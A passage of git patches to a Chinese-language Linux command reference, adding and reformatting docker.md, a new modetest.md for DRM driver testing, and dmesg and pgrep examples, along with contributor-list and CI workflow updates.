diff --git a/command/docker.md b/command/docker.md new file mode 100644 index 00000000000..ff25792d71b --- /dev/null +++ b/command/docker.md @@ -0,0 +1,215 @@ +Docker +== + +极为方便的容器软件。 + +## 安装 + +在 Linux 中输入以下命令安装 Docker。 + +```bash +# CentOS 参考：https://blog.csdn.net/zhaoyuanh/article/details/126610347 +#如果系统里有旧版本docker的话需要先行删除： +sudo yum remove docker \ + docker-client \ + docker-client-latest \ + docker-common \ + docker-latest \ + docker-latest-logrotate \ + docker-logrotate \ + docker-engine + +#设置仓库： +yum install -y yum-utils + +#添加Docker仓库： +yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo + +#安装Docker引擎(默认最新): +yum install docker-ce docker-ce-cli containerd.io docker-compose-plugin + +#启动docker: +sudo systemctl start docker + +``` + +## 实例 + +介绍几个常用场景：Docker Hub镜像市场相关，镜像仓库命令。 + +1、下载docker hub镜像市场中的镜像。 + +```bash +docker pull user/image +``` + +2、在 docker hub 中搜索镜像。 + +```bash +# 注意需要下载镜像才能使用 +docker search search_word +``` + +3、向 docker hub 进行身份验证。 + +```bash +docker login +``` + +4、将镜像上传到 docker hub。 + +```bash +docker push user/image +``` + +## help 信息翻译 + +```run +使用方法： docker create [options] IMAGE + +<命令> +attach 将本地标准输入、输出和错误流附加到正在运行的容器 +build 从 Dockerfile 构建镜像 +commit 从容器的更改创建新镜像 +cp 在容器和本地文件系统之间复制文件/文件夹 +create 创建一个新容器 +diff 检查容器文件系统上文件或目录的更改 +events 从服务器获取实时事件 +exec 在正在运行的容器中运行命令 +export 将容器的文件系统导出为 tar 存档 +history 显示镜像的历史 +images 列出镜像 +import 从 tarball 导入内容以创建文件系统映像 +info 显示系统范围的信息 +inspect 返回有关 Docker 对象的低级信息 +kill 杀死一个或多个正在运行的容器 +load 从 tar 存档或 STDIN 加载镜像 +login 登录到 Docker 注册表 +logout 从 Docker 注册表中注销 +logs 获取容器的日志 +pause 暂停一个或多个容器内的所有进程 +port 列出容器的端口映射或特定映射 +ps 列出容器 +pull 从注册表中提取镜像或存储库 +push 将镜像或存储库推送到注册表 +rename 重命名容器 +restart 重启一个或多个容器 +rm 移除一个或多个容器 +rmi 移除一张或多张镜像 +run 在新容器中运行命令 +save 将一个或多个镜像保存到 tar 存档（默认流式传输到 STDOUT） +search 在 Docker Hub 中搜索镜像 +start 启动一个或多个停止的容器 +stats 显示容器资源使用统计的实时流 +stop 停止一个或多个正在运行的容器 +tag 创建一个引用 SOURCE_IMAGE 的标记 TARGET_IMAGE +top 显示容器的运行进程 +unpause 取消暂停一个或多个容器中的所有进程 +update 更新一个或多个容器的配置 +version 显示 Docker 版本信息 +wait 阻塞直到一个或多个容器停止，然后打印它们的退出代码 + +<环境参数> + --add-host list # 添加自定义主机到 IP 映射 (host:ip) +-a, --attach list # 连接到 STDIN、STDOUT 或 STDERR + --blkio-weight uint16 # 块 IO（相对权重），介于 10 和 1000 之间，或 0 禁用（默认 0） + --blkio-weight-device list # 块 IO 权重（相对设备权重）（默认 []） + --cap-add list # 添加 Linux 功能 + --cap-drop list # 放弃 Linux 功能 + --cgroup-parent string # 容器的可选父 cgroup + --cgroupns string # 要使用的 Cgroup 命名空间（主机|私有） + # 'host': 在 Docker 主机的 cgroup 命名空间中运行容器 + # 'private': 在自己的私有 cgroup 命名空间中运行容器 + # '': 使用由守护进程上的 + # default-cgroupns-mode 选项配置的 cgroup 命名空间（默认） + --cidfile string # 将容器 ID 写入文件 + --cpu-period int # 限制 CPU CFS（完全公平调度器）周期 + --cpu-quota int # 限制 CPU CFS（完全公平调度器）配额 + --cpu-rt-period int # 以微秒为单位限制 CPU 实时周期 + --cpu-rt-runtime int # 以微秒为单位限制 CPU 实时运行时间 +-c, --cpu-shares int # CPU 份额（相对权重） + --cpus decimal # CPU 数量 + --cpuset-cpus string # 允许执行的 CPU (0-3, 0,1) + --cpuset-mems string # 允许执行的 MEM (0-3, 0,1) + --device list # 将主机设备添加到容器 + --device-cgroup-rule list # 将规则添加到 cgroup 允许的设备列表 + --device-read-bps list # 限制设备的读取速率（每秒字节数）（默认 []） + --device-read-iops list # 限制设备的读取速率（每秒 IO）（默认 []） + --device-write-bps list # 限制设备的写入速率（每秒字节数）（默认 []） + --device-write-iops list # 限制设备的写入速率（每秒 IO）（默认 []） + --disable-content-trust # 跳过镜像验证（默认为 true） + --dns list # 设置自定义 DNS 服务器 + --dns-option list # 设置 DNS 选项 + --dns-search list # 设置自定义 DNS 搜索域 + --domainname string # 容器 NIS 域名 + --entrypoint string # 覆盖镜像的默认入口点 +-e, --env list # 设置环境变量 + --env-file list # 读入环境变量文件 + --expose list # 公开一个端口或一系列端口 + --gpus gpu-request # 要添加到容器中的 GPU 设备（“全部”以传递所有 GPU） + --group-add list # 添加其他组以加入 + --health-cmd string # 运行以检查运行状况的命令 + --health-interval duration # 运行检查之间的时间 (ms|s|m|h) (默认 0s) + --health-retries int # 需要报告不健康的连续失败 + --health-start-period duration # 开始健康重试倒计时之前容器初始化的开始时间（ms|s|m|h）（默认 0s） + --health-timeout duration # 允许运行一项检查的最长时间 (ms|s|m|h) (默认 0s) + --help # 打印使用 +-h, --hostname string # 容器主机名 + --init # 在容器内运行一个 init 来转发信号并收获进程 +-i, --interactive # 即使没有连接，也保持 STDIN 打开 + --ip string # IPv4 地址（例如 172.30.100.104） + --ip6 string # IPv6 地址（例如，2001:db8::33） + --ipc string # 要使用的 IPC 模式 + --isolation string # 容器隔离技术 + --kernel-memory bytes # 内核内存限制 +-l, --label list # 在容器上设置元数据 + --label-file list # 读入以行分隔的标签文件 + --link list # 添加到另一个容器的链接 + --link-local-ip list # 容器 IPv4/IPv6 链路本地地址 + --log-driver string # 容器的日志记录驱动程序 + --log-opt list # 日志驱动程序选项 + --mac-address string # 容器 MAC 地址（例如 92:d0:c6:0a:29:33） +-m, --memory bytes # 内存限制 + --memory-reservation bytes # 内存软限制 + --memory-swap bytes # 交换限制等于内存加上交换：'-1' 启用无限交换 + --memory-swappiness int # 调整容器内存交换（0 到 100）（默认 -1） + --mount mount # 将文件系统挂载附加到容器 + --name string # 为容器分配名称 + --network network # 将容器连接到网络 + --network-alias list # 为容器添加网络范围的别名 + --no-healthcheck # 禁用任何容器指定的 HEALTHCHECK + --oom-kill-disable # 禁用 OOM 杀手 + --oom-score-adj int # 调整主机的 OOM 首选项（-1000 到 1000） + --pid string # 要使用的 PID 命名空间 + --pids-limit int # 调整容器 pids 限制（设置 -1 表示无限制） + --platform string # 如果服务器支持多平台，则设置平台 + --privileged # 授予此容器扩展权限 +-p, --publish list # 将容器的端口发布到主机 +-P, --publish-all # 将所有暴露的端口发布到随机端口 + --pull string # 创建前拉取镜像("always"|"missing"|"never")(默认"missing") + --read-only # 将容器的根文件系统挂载为只读 + --restart string # 容器退出时应用的重启策略（默认“否”） + --rm # 容器退出时自动移除 + --runtime string # 用于此容器的运行时 + --security-opt list # 安全选项 + --shm-size bytes # /dev/shm 的大小 + --stop-signal string # 停止容器的信号（默认“SIGTERM”） + --stop-timeout int # 停止容器的超时（以秒为单位） + --storage-opt list # 容器的存储驱动程序选项 + --sysctl map # Sysctl 选项（默认 map[]） + --tmpfs list # 挂载 tmpfs 目录 +-t, --tty # 分配一个伪 TTY + --ulimit ulimit # ulimit 选项（默认 []） +-u, --user string # 用户名或 UID（格式：[:]） + --userns string # 要使用的用户命名空间 + --uts string # 要使用的 UTS 命名空间 +-v, --volume list # 绑定挂载卷 + --volume-driver string # 容器的可选卷驱动程序 + --volumes-from list # 从指定容器挂载卷 +-w, --workdir string # 容器内的工作目录 +``` + +## 官网 + +更多安装使用方法可以访问学习：https://wangchujiang.com/reference/docs/docker.html +由上海 屠天煜编写 From e342f56dbbb16082b09f9326db2faffdb31a172e Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 15 Jun 2023 06:36:32 +0000 Subject: [PATCH 0730/1019] doc: update README.md. --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index f481de2bfca..7eb4d427152 100644 --- a/README.md +++ b/README.md @@ -706,6 +706,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 tangke + + tutianyu101 + UniqueDing From a274520de49300a01f0248584a2725576196dfc0 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 15 Jun 2023 06:36:33 +0000 Subject: [PATCH 0731/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index 770f609bf55..b44ca765e91 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -342,6 +342,9 @@ tangke + + tutianyu101 + UniqueDing From c65bf6ce5f28372cfb311d772c0660800e10da9c Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Thu, 15 Jun 2023 14:42:58 +0800 Subject: [PATCH 0732/1019] doc: update docker.md (#514) --- command/dirs.md | 3 +- command/docker.md | 74 ++++++++++++++++++++++++++--------------------- 2 files changed, 42 insertions(+), 35 deletions(-) diff --git a/command/dirs.md b/command/dirs.md index 5d0b7b262bf..de6a297ad7c 100644 --- a/command/dirs.md +++ b/command/dirs.md @@ -3,7 +3,7 @@ dirs 显示目录堆栈。 -## 概要 +## 语法 ```shell dirs [-clpv] [+N] [-N] @@ -12,7 +12,6 @@ dirs [-clpv] [+N] [-N] ## 主要用途 - 显示目录堆栈。 - - 清空目录堆栈。 ## 选项 diff --git a/command/docker.md b/command/docker.md index ff25792d71b..490d93c84be 100644 --- a/command/docker.md +++ b/command/docker.md @@ -1,7 +1,11 @@ Docker -== +=== -极为方便的容器软件。 +容器化技术，可以将应用程序及其依赖项打包到一个可移植的容器中，使其可以在不同的环境中运行 + +## 补充说明 + +Docker 容器可以快速部署、可移植、可扩展，并且可以在不同的平台上运行。Docker 可以帮助开发人员和运维人员更轻松地构建、发布和管理应用程序。 ## 安装 @@ -33,41 +37,15 @@ sudo systemctl start docker ``` -## 实例 - -介绍几个常用场景：Docker Hub镜像市场相关，镜像仓库命令。 - -1、下载docker hub镜像市场中的镜像。 - -```bash -docker pull user/image -``` - -2、在 docker hub 中搜索镜像。 - -```bash -# 注意需要下载镜像才能使用 -docker search search_word -``` - -3、向 docker hub 进行身份验证。 +## 语法 -```bash -docker login +```shell +docker create [options] IMAGE ``` -4、将镜像上传到 docker hub。 +## 选项参数 -```bash -docker push user/image -``` - -## help 信息翻译 - -```run -使用方法： docker create [options] IMAGE - -<命令> +```shell attach 将本地标准输入、输出和错误流附加到正在运行的容器 build 从 Dockerfile 构建镜像 commit 从容器的更改创建新镜像 @@ -209,6 +187,36 @@ wait 阻塞直到一个或多个容器停止，然后打印它们的退出代码 -w, --workdir string # 容器内的工作目录 ``` +## 实例 + +介绍几个常用场景：Docker Hub镜像市场相关，镜像仓库命令。 + +1、下载docker hub镜像市场中的镜像。 + +```bash +docker pull user/image +``` + +2、在 docker hub 中搜索镜像。 + +```bash +# 注意需要下载镜像才能使用 +docker search search_word +``` + +3、向 docker hub 进行身份验证。 + +```bash +docker login +``` + +4、将镜像上传到 docker hub。 + +```bash +docker push user/image +``` + + ## 官网 更多安装使用方法可以访问学习：https://wangchujiang.com/reference/docs/docker.html From f5b902a0ffaf8e6e30c49cbd7466b4df977ebc11 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Thu, 15 Jun 2023 14:50:42 +0800 Subject: [PATCH 0733/1019] doc: update command/docker.md --- command/docker.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/docker.md b/command/docker.md index 490d93c84be..33928bea0d2 100644 --- a/command/docker.md +++ b/command/docker.md @@ -1,4 +1,4 @@ -Docker +docker === 容器化技术，可以将应用程序及其依赖项打包到一个可移植的容器中，使其可以在不同的环境中运行 From 7e0f5e224be80eb37e4a73d6525a9ed77372ff5b Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Thu, 15 Jun 2023 14:55:19 +0800 Subject: [PATCH 0734/1019] chore: update workflow config. --- .github/workflows/ci.yml | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 6da96c07d75..a6e7c8b3778 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -39,6 +39,10 @@ jobs: body: | ${{steps.contributors.outputs.htmlList}} + - run: npm install + - run: npm run dash + - run: cp CONTRIBUTORS.svg .deploy + - name: Build Linux Command run: | npm install From 8c7a05a0f408f50dbd7109a1a7a9eb3970137947 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Thu, 15 Jun 2023 15:11:56 +0800 Subject: [PATCH 0735/1019] chore: update 7z.md/db.md document. --- command/7z.md | 2 +- command/ab.md | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/command/7z.md b/command/7z.md index 5533b4328af..9833fcbe35f 100644 --- a/command/7z.md +++ b/command/7z.md @@ -1,5 +1,5 @@ 7z -== +=== 拥有极高压缩比的开源压缩软件。 diff --git a/command/ab.md b/command/ab.md index b69cf45292a..1823c7c1d01 100644 --- a/command/ab.md +++ b/command/ab.md @@ -1,5 +1,5 @@ ab -== +=== Apache服务器的性能测试工具 From ed58ed11246ed8990351226a040483cc8bca3001 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Thu, 15 Jun 2023 15:12:55 +0800 Subject: [PATCH 0736/1019] fix: update build script. --- scripts/build.mjs | 1 + 1 file changed, 1 insertion(+) diff --git a/scripts/build.mjs b/scripts/build.mjs index 97071f08cc9..63e1cfa3739 100644 --- a/scripts/build.mjs +++ b/scripts/build.mjs @@ -107,6 +107,7 @@ const contributorsPath = path.resolve(process.cwd(), 'CONTRIBUTORS.svg'); })); } catch (err) { + console.log(`\n ERROR :> ${err}\n`) if (err && err.message) { console.log(`\n ERROR :> ${err.message.red_bt}\n`) } From 922c39b88cb93c998e03778ea630ced2027b407d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= Date: Sat, 17 Jun 2023 22:34:57 +0800 Subject: [PATCH 0737/1019] doc: Update znew.md (fix #516) --- command/znew.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/znew.md b/command/znew.md index c8adb0e1492..61ad1bb6b59 100644 --- a/command/znew.md +++ b/command/znew.md @@ -19,7 +19,7 @@ znew(选项)(参数) -f：# 强制执行转换操作，即是目标“.gz”已经存在； -t：# 删除原文件前测试新文件； -v：# 显示文件名和每个文件的压缩比； --9：# 食用油花的压缩比，速度较慢； +-9：# 使用最高压缩率，速度较慢； -P：# 使用管道完成转换操作，以降低磁盘空间使用； -K：# 当“.Z”文件比“.gz”文件小时，保留“.Z”文件。 ``` From a1549ed0c60a692ac426db19b9dd5ba11e8f8e54 Mon Sep 17 00:00:00 2001 From: Qliangw Date: Mon, 19 Jun 2023 18:07:33 +0800 Subject: [PATCH 0738/1019] doc: update command/dmesg.md (#517) --- command/dmesg.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/command/dmesg.md b/command/dmesg.md index 5e992b4f283..d1258517a50 100644 --- a/command/dmesg.md +++ b/command/dmesg.md @@ -50,4 +50,12 @@ dmesg | grep sda [ 2.448503] sd 0:0:0:0: [sda] Attached SCSI disk ``` +查看多关键字 +```shell +dmesg | grep -E "vcc5v0_host|vcc_3v3_s0|ttyS" + +[ 1.193143] vcc5v0_host: supplied by vcc5v0_usb +[ 1.481139] feb80000.serial: ttyS5 at MMIO 0xfeb80000 (irq = 73, base_baud = 1500000) is a 16550A +[ 1.513541] vcc_3v3_s0: supplied by vcc5v0_sys +``` From aad9ebcfdc5fb4b5f9865b4c319a6297f58b45cf Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 19 Jun 2023 10:08:23 +0000 Subject: [PATCH 0739/1019] doc: update README.md. --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 7eb4d427152..17edc9251f6 100644 --- a/README.md +++ b/README.md @@ -538,6 +538,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Mystic + + Qliangw + Ray Yee From 01ec9c43dea771add43451a2006d8128ff81abc2 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 19 Jun 2023 10:08:24 +0000 Subject: [PATCH 0740/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index b44ca765e91..8b519fb6f1f 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -174,6 +174,9 @@ Mystic + + Qliangw + Ray Yee From b525acd107e976106cfc202896e3042ced9c66fe Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 20 Jun 2023 23:18:58 +0800 Subject: [PATCH 0741/1019] chore: update workflows config. --- .github/workflows/ci.yml | 48 ++++++++++++++++++++-------------------- 1 file changed, 24 insertions(+), 24 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index a6e7c8b3778..a70cf3add7e 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -159,30 +159,30 @@ jobs: platforms: linux/amd64,linux/arm64 tags: ${{ secrets.DOCKER_USER }}/linux-command:${{steps.changelog.outputs.version}} - # Create Docker Image in Github - - name: Login to the GitHub Container Registry - uses: docker/login-action@v2 - with: - registry: ghcr.io - username: ${{ github.actor }} - password: ${{ secrets.GITHUB_TOKEN }} - - - name: Build and push image:latest - uses: docker/build-push-action@v3 - with: - push: true - context: . - platforms: linux/amd64,linux/arm64 - tags: ghcr.io/jaywcjlove/linux-command:latest - - - name: Build and push image:tags - uses: docker/build-push-action@v3 - if: steps.create_tag.outputs.successful - with: - push: true - context: . - platforms: linux/amd64,linux/arm64 - tags: ghcr.io/jaywcjlove/linux-command:${{steps.changelog.outputs.version}} + # # Create Docker Image in Github + # - name: Login to the GitHub Container Registry + # uses: docker/login-action@v2 + # with: + # registry: ghcr.io + # username: ${{ github.actor }} + # password: ${{ secrets.GITHUB_TOKEN }} + + # - name: Build and push image:latest + # uses: docker/build-push-action@v3 + # with: + # push: true + # context: . + # platforms: linux/amd64,linux/arm64 + # tags: ghcr.io/jaywcjlove/linux-command:latest + + # - name: Build and push image:tags + # uses: docker/build-push-action@v3 + # if: steps.create_tag.outputs.successful + # with: + # push: true + # context: . + # platforms: linux/amd64,linux/arm64 + # tags: ghcr.io/jaywcjlove/linux-command:${{steps.changelog.outputs.version}} # # Create Docker Image # - name: Docker login From cd7efff1a53086e860d73c633aaa93f5820a8a5f Mon Sep 17 00:00:00 2001 From: Qliangw Date: Mon, 10 Jul 2023 15:42:11 +0800 Subject: [PATCH 0742/1019] add(drm): modetest.md (#518) * add(drm): modetest.md * feat(drm): add compilation and installation example for modetest tool ## Description This commit adds an example for compiling and installing the modetest tool, which is used for testing and validating DRM (Direct Rendering Manager) driver functionality. ## Compilation and Installation Example Here is an example of how to compile and install the modetest tool: 1. Clone the modetest repository from the source: ```shell git clone https://github.com/dvdhrm/drm-tests.git ``` 2. Change into the modetest directory: ```shell cd drm-tests/modetest ``` 3. Install the necessary dependencies for compilation. This may vary depending on your distribution. For example, on Ubuntu, you can install the required packages using the following command: ```shell sudo apt-get install build-essential libdrm-dev ``` 4. Build the modetest tool: ```shell make ``` 5. Optionally, you can run the modetest tool directly from the build directory: ```shell ./modetest ``` 6. If you want to install the modetest tool system-wide, use the following command: ```shell sudo make install ``` This will install the modetest binary into the appropriate system directories. 7. You can now run the modetest tool from anywhere on your system: ```shell modetest ``` Please note that the compilation and installation process may vary depending on your system configuration and distribution. Make sure to follow the specific instructions provided by the modetest repository or consult the documentation for your distribution for more accurate and detailed instructions. --- command/modetest.md | 144 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 144 insertions(+) create mode 100644 command/modetest.md diff --git a/command/modetest.md b/command/modetest.md new file mode 100644 index 00000000000..ba5c1aecba3 --- /dev/null +++ b/command/modetest.md @@ -0,0 +1,144 @@ +modetest +=== + +DRM/KMS驱动程序libdrm中的模式测试工具 + +## 补充说明 + +`modetest` 是一个用于测试和验证 DRM（Direct Rendering Manager）驱动程序功能的命令行工具。 + +**安装** + +**源码**：[Mesa / drm · GitLab](https://gitlab.freedesktop.org/mesa/drm) + +**下载**：[Index of /libdrm (dri.freedesktop.org)](https://dri.freedesktop.org/libdrm/) + +**编译** +```shell +./configure --prefix=/opt/ --host=aarch64-linux-gnu +make && make install +## 编译删除 +make distclean +``` + +**参考**：[libdrm调试准备 - 简书](https://www.jianshu.com/p/a9152ca3e7ab) + + +### 语法 + +```shell +modetest [选项] +``` + +### 选项 + +```shell +# 查询选项 +-c 列出连接器 +-e 列出编码器 +-f 列出帧缓冲 +-p 列出 CRTCs 和平面 + +# 测试选项 +-P @:x[++][*][@] 设置一个平面 +-s [,][@]:[-][@] 设置一个显示模式 +-C 测试硬件光标 +-v 测试垂直同步页面翻转 +-w :: 设置属性 + +# 通用选项 +-a 启用原子模式设置 +-d 在模式设置后放弃主控权限 +-M 指定要使用的驱动程序模块 +-D 指定要使用的设 +``` + +### 参数 + +`` 驱动模块 + +- i915：Intel 集成显卡驱动模块 +- amdgpu：AMD Radeon 显卡驱动模块 +- radeon：旧版 AMD Radeon 显卡驱动模块 +- nouveau：NVIDIA 开源显卡驱动模块 +- vmwgfx：VMware 显卡驱动模块 +- omapdrm：TI OMAP 显卡驱动模块 +- exynos：三星 Exynos 显卡驱动模块 +- tilcdc：TI LCD 控制器显卡驱动模块 +- msm：Qualcomm MSM 显卡驱动模块 +- sti：STMicroelectronics 显卡驱动模块 +- tegra：NVIDIA Tegra 显卡驱动模块 +- imx-drm：Freescale i.MX 显卡驱动模块 +- rockchip：Rockchip 显卡驱动模块 + +### 实例 + +使用modetest查看相关信息 +```shell +~# modetest +Encoders: # 省略了好多好多 +id crtc type possible crtcs possible clones +194 0 Virtual 0x0000000f 0x00000001 +196 88 TMDS 0x00000002 0x00000002 +210 0 DSI 0x00000004 0x00000004 +213 0 TMDS 0x00000001 0x00000008 + +Connectors: # 省略了好多好多 +id encoder status name size (mm) modes encoders +197 196 connected HDMI-A-1 530x300 10 196 + mode # 巴拉巴拉非常多的一大串 +211 210 connected DSI-1 184x114 1 210 +214 0 disconnected DP-1 0x0 0 213 + +CRTCs: # 省略了好多好多**** +id fb pos size +68 0 (0,0) (0x0) + 0 0 0 0 0 0 0 0 0 0 flags: ; type: +88 0 (0,0) (0x0) + 0 0 0 0 0 0 0 0 0 0 flags: ; type: +108 219 (0,0) (1200x1920) + 1200x1920 60 1200 1280 1284 1344 1920 1955 1956 1981 159400 flags: ; type: +128 0 (0,0) (0x0) + 0 0 0 0 0 0 0 0 0 0 flags: ; type: + +Planes: # 省略了好多好多 +id crtc fb CRTC x,y x,y gamma size possible crtcs +54 0 0 0,0 0,0 0 0x0000000f + formats: XR24 AR24 XB24 AB24 RG24 BG24 RG16 BG16 NV12 NV21 NV16 NV61 NV24 NV42 NV15 NV20 NV30 YVYU VYUY YUYV UYVY +74 0 0 0,0 0,0 0 0x0000000f + formats: XR24 AR24 XB24 AB24 RG24 BG24 RG16 BG16 NV12 NV21 NV16 NV61 NV24 NV42 NV15 NV20 NV30 YVYU VYUY YUYV UYVY +94 108 219 0,0 0,0 0 0x0000000f + formats: XR24 AR24 XB24 AB24 RG24 BG24 RG16 BG16 NV12 NV21 NV16 NV61 NV24 NV42 NV15 NV20 NV30 YVYU VYUY YUYV UYVY + +``` + +------ + +根据以上信息在MIPI-DSI显示设备上使用Rockchip显卡驱动测试 + +```shell +~# modetest -M rockchip -s 211@108:1200x1920 -v +freq: 59.90Hz +freq: 59.87Hz +freq: 59.87Hz +freq: 59.87Hz +freq: 59.87Hz +freq: 59.87Hz +freq: 59.87Hz +freq: 59.87Hz +freq: 59.87Hz +``` + +在MIPI屏幕上将会看到闪烁的彩色块。 + +------ + +```shell +~# modetest -M rockchip -s 211@108:1200x1920 -C +setting mode 1200x1920-60Hz@XR24 on connectors 211, crtc 108 +starting cursor +``` + +在MIPI屏幕上将会看到静止的彩色块。 + + From c5e53509c85faf033f2b6e80bbc1ea19e55bc8bd Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 10 Jul 2023 07:42:45 +0000 Subject: [PATCH 0743/1019] doc: update README.md. --- README.md | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/README.md b/README.md index 17edc9251f6..26a9c1523e8 100644 --- a/README.md +++ b/README.md @@ -457,12 +457,15 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Dazhuangw - - ptenst + + wVVaTT Shell + + Qliangw + Wang Jianing @@ -538,9 +541,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Mystic - - Qliangw - Ray Yee @@ -703,8 +703,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 snovey - - sunls24 + + sunls25 tangke From fa4d1697c0e3dad5919ed7cdd5fb5b2a70f7f154 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 10 Jul 2023 07:42:46 +0000 Subject: [PATCH 0744/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 8b519fb6f1f..68c08809e0b 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -93,12 +93,15 @@ Dazhuangw - - ptenst + + wVVaTT Shell + + Qliangw + Wang Jianing @@ -174,9 +177,6 @@ Mystic - - Qliangw - Ray Yee @@ -339,8 +339,8 @@ snovey - - sunls24 + + sunls25 tangke From ac04ffd50b3cb5e96f84224ba8bb603fa96366d2 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Mon, 10 Jul 2023 15:58:18 +0800 Subject: [PATCH 0745/1019] doc: update modetest.md (#518) --- command/modetest.md | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/command/modetest.md b/command/modetest.md index ba5c1aecba3..2c14428a00c 100644 --- a/command/modetest.md +++ b/command/modetest.md @@ -7,13 +7,13 @@ DRM/KMS驱动程序libdrm中的模式测试工具 `modetest` 是一个用于测试和验证 DRM（Direct Rendering Manager）驱动程序功能的命令行工具。 -**安装** +### 安装 -**源码**：[Mesa / drm · GitLab](https://gitlab.freedesktop.org/mesa/drm) +- **源码**：[Mesa / drm · GitLab](https://gitlab.freedesktop.org/mesa/drm) +- **下载**：[Index of /libdrm (dri.freedesktop.org)](https://dri.freedesktop.org/libdrm/) -**下载**：[Index of /libdrm (dri.freedesktop.org)](https://dri.freedesktop.org/libdrm/) +__编译__ -**编译** ```shell ./configure --prefix=/opt/ --host=aarch64-linux-gnu make && make install @@ -21,8 +21,7 @@ make && make install make distclean ``` -**参考**：[libdrm调试准备 - 简书](https://www.jianshu.com/p/a9152ca3e7ab) - +__参考__：[libdrm调试准备 - 简书](https://www.jianshu.com/p/a9152ca3e7ab) ### 语法 @@ -73,7 +72,8 @@ modetest [选项] ### 实例 -使用modetest查看相关信息 +使用 `modetest` 查看相关信息 + ```shell ~# modetest Encoders: # 省略了好多好多 @@ -114,7 +114,7 @@ id crtc fb CRTC x,y x,y gamma size possible crtcs ------ -根据以上信息在MIPI-DSI显示设备上使用Rockchip显卡驱动测试 +根据以上信息在 `MIPI-DSI` 显示设备上使用 `Rockchip` 显卡驱动测试 ```shell ~# modetest -M rockchip -s 211@108:1200x1920 -v @@ -129,7 +129,7 @@ freq: 59.87Hz freq: 59.87Hz ``` -在MIPI屏幕上将会看到闪烁的彩色块。 +在 `MIPI` 屏幕上将会看到闪烁的彩色块。 ------ @@ -139,6 +139,6 @@ setting mode 1200x1920-60Hz@XR24 on connectors 211, crtc 108 starting cursor ``` -在MIPI屏幕上将会看到静止的彩色块。 +在 `MIPI` 屏幕上将会看到静止的彩色块。 From 407be641faf9989dcd5a5c19f86f8641c854a914 Mon Sep 17 00:00:00 2001 From: Xu Chao <1435414174@qq.com> Date: Sat, 15 Jul 2023 10:31:25 +0800 Subject: [PATCH 0746/1019] doc: update command/pgrep.md (#519) --- command/pgrep.md | 41 ++++++++++++++++++++++++++++++++++------- 1 file changed, 34 insertions(+), 7 deletions(-) diff --git a/command/pgrep.md b/command/pgrep.md index c5212e45f80..034dbd95f2d 100644 --- a/command/pgrep.md +++ b/command/pgrep.md @@ -16,13 +16,30 @@ pgrep(选项)(参数) ### 选项 ```shell --o：仅显示找到的最小（起始）进程号； --n：仅显示找到的最大（结束）进程号； --l：显示进程名称； --P：指定父进程号； --g：指定进程组； --t：指定开启进程的终端； --u：指定进程的有效用户ID。 +-d, --delimiter ：指定输出的分隔符。 +-l, --list-name：列出进程ID和进程名称。 +-a, --list-full：列出进程ID和完整的命令行。 +-v, --inverse：反向匹配，即只显示不匹配的进程。 +-w, --lightweight：列出所有TID（轻量级线程）。 +-c, --count：显示匹配的进程数量。 +-f, --full：使用完整的进程名称进行匹配。 +-g, --pgroup ：匹配指定的进程组ID。 +-G, --group ：匹配真实组ID。 +-i, --ignore-case：忽略大小写进行匹配。 +-n, --newest：选择最近启动的进程。 +-o, --oldest：选择最早启动的进程。 +-O, --older ：选择启动时间早于指定秒数的进程。 +-P, --parent ：只匹配给定父进程的子进程。 +-s, --session ：匹配会话ID。 +-t, --terminal ：根据控制终端进行匹配。 +-u, --euid ：根据有效用户ID进行匹配。 +-U, --uid ：根据真实用户ID进行匹配。 +-x, 